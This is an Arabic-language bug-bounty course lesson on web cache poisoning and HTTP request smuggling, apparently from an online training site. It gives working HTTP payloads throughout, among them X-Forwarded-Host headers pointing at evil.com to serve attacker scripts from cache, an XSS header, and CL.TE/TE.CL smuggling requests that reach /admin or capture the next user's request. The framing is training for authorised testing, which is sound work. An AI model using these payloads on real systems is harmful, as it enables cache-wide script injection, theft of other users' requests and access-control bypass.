الدرس 16 من 24

تقنيات الاستغلال المتقدمة

تسميم ذاكرة الويب المؤقتة وتهريب الطلبات

3 دقيقة للقراءة

هذه التقنيات المتقدمة تستغل طبقات البنية التحتية بين العملاء والخوادم. معقدة لكنها تعطي مكافآت من الدرجة الأولى.

تسميم ذاكرة الويب المؤقتة

خداع الذاكرة المؤقتة لتخزين استجابات خبيثة:

1. المهاجم يرسل: طلب برأس مسموم
2. الخادم يستجيب: بناءً على الإدخال المسموم
3. الذاكرة المؤقتة تخزن: الاستجابة الخبيثة
4. الضحية يطلب: نفس URL
5. الذاكرة المؤقتة تقدم: الاستجابة المسمومة للضحية

مفاتيح الذاكرة المؤقتة مقابل المدخلات غير المفتاحية

مفتاح الذاكرة المؤقتة (ما يحدد المحتوى المخزن):
- مسار URL
- معاملات الاستعلام
- رأس Host

المدخلات غير المفتاحية (تتجاهلها الذاكرة، يعالجها التطبيق):
- X-Forwarded-Host
- X-Original-URL
- X-Forwarded-Scheme

تسميم الذاكرة المؤقتة الأساسي

# اختبر الرؤوس غير المفتاحية
GET / HTTP/1.1
Host: example.com
X-Forwarded-Host: evil.com

# إذا احتوت الاستجابة: <script src="//evil.com/app.js">
# والاستجابة مخزنة → جميع الزوار يحصلون على صفحة مسمومة

إيجاد الرؤوس غير المفتاحية

# رؤوس للاختبار
X-Forwarded-Host
X-Forwarded-Scheme
X-Original-URL
X-Rewrite-URL
X-Forwarded-For
X-Host
X-Forwarded-Server

# استخدم Param Miner (إضافة Burp)
# يكتشف المعاملات غير المفتاحية تلقائياً

تسميم الذاكرة المؤقتة إلى XSS

# السيناريو: X-Forwarded-Host منعكس في الصفحة
GET /page HTTP/1.1
Host: example.com
X-Forwarded-Host: "><script>alert(1)</script>

# إذا خُزن، XSS يؤثر على جميع المستخدمين

تسميم الذاكرة المؤقتة المستهدف

# سمم ذاكرة مستخدم محدد (عبر رأس Vary)
# إذا Vary: User-Agent
# سمم الذاكرة لسلسلة User-Agent محددة
# أرسل رابط تصيد مع ذلك User-Agent

تهريب طلبات HTTP

استغلال التناقضات في كيفية تفسير الواجهة الأمامية والخلفية للطلبات.

لماذا يعمل

العميل → الواجهة الأمامية (CDN/WAF/موازن الحمل) → خادم الواجهة الخلفية

الواجهة الأمامية تستخدم: Content-Length
الواجهة الخلفية تستخدم: Transfer-Encoding: chunked

حدود الطلبات تُفسر بشكل مختلف!

تهريب CL.TE

الواجهة الأمامية: Content-Length الواجهة الخلفية: Transfer-Encoding

POST / HTTP/1.1
Host: example.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

تهريب TE.CL

الواجهة الأمامية: Transfer-Encoding الواجهة الخلفية: Content-Length

POST / HTTP/1.1
Host: example.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0


الكشف

# الكشف القائم على الوقت
# إذا الواجهة الخلفية تنتظر المزيد من البيانات → ضعيفة

# كشف CL.TE
POST / HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
Content-Length: 4

1
Z
Q

# إذا انتهت المهلة → CL.TE ممكن

سيناريوهات الاستغلال

تجاوز ضوابط الوصول

# هرب طلب لنقطة نهاية مقيدة
POST / HTTP/1.1
Host: example.com
Content-Length: 100
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost


سرقة طلبات المستخدم

# بادئة طلب المستخدم التالي ببيانات المهاجم
POST / HTTP/1.1
Content-Length: 200
Transfer-Encoding: chunked

0

POST /comment HTTP/1.1
Content-Length: 500

comment=
# طلب المستخدم التالي يُلحق كجسم التعليق!

تسميم الذاكرة المؤقتة عبر التهريب

# هرب طلب يُخزن
POST / HTTP/1.1
Content-Length: 100
Transfer-Encoding: chunked

0

GET /static/app.js HTTP/1.1
Host: example.com
X-Forwarded-Host: evil.com


الأدوات

# smuggler - الكشف الآلي
python3 smuggler.py -u https://example.com

# Burp Suite - إضافة HTTP Request Smuggler
# يكشف ويولد حمولات التهريب تلقائياً

أمثلة المكافآت

الشركةالتقنيةالمكافأة
PayPalتسميم الذاكرة المؤقتة15,000 دولار
Cloudflareتهريب الطلبات20,000 دولار
Uberتسميم الذاكرة XSS8,000 دولار
DoDتجاوز التهريب10,000 دولار

نصائح الاختبار

  1. تسميم الذاكرة المؤقتة: اختبر جميع الرؤوس، استخدم Param Miner
  2. تهريب الطلبات: الكشف القائم على الوقت أولاً
  3. اختبر بأمان دائماً: هذه الثغرات تؤثر على مستخدمين آخرين
  4. وثق بدقة: الثغرات المعقدة تحتاج PoC واضح

نصيحة احترافية: هذه تخصصات James Kettle (albinowax). اقرأ بحثه للتقنيات المتطورة.

الوحدة التالية: اختبار أمان API والهاتف. :::

مراجعة سريعة: كيف تجد هذا الدرس؟

اختبار

الوحدة 4: تقنيات الاستغلال المتقدمة

خذ الاختبار
نشرة أسبوعية مجانية

ابقَ على مسار النيرد

بريد واحد أسبوعياً — دورات، مقالات معمّقة، أدوات، وتجارب ذكاء اصطناعي.

بدون إزعاج. إلغاء الاشتراك في أي وقت.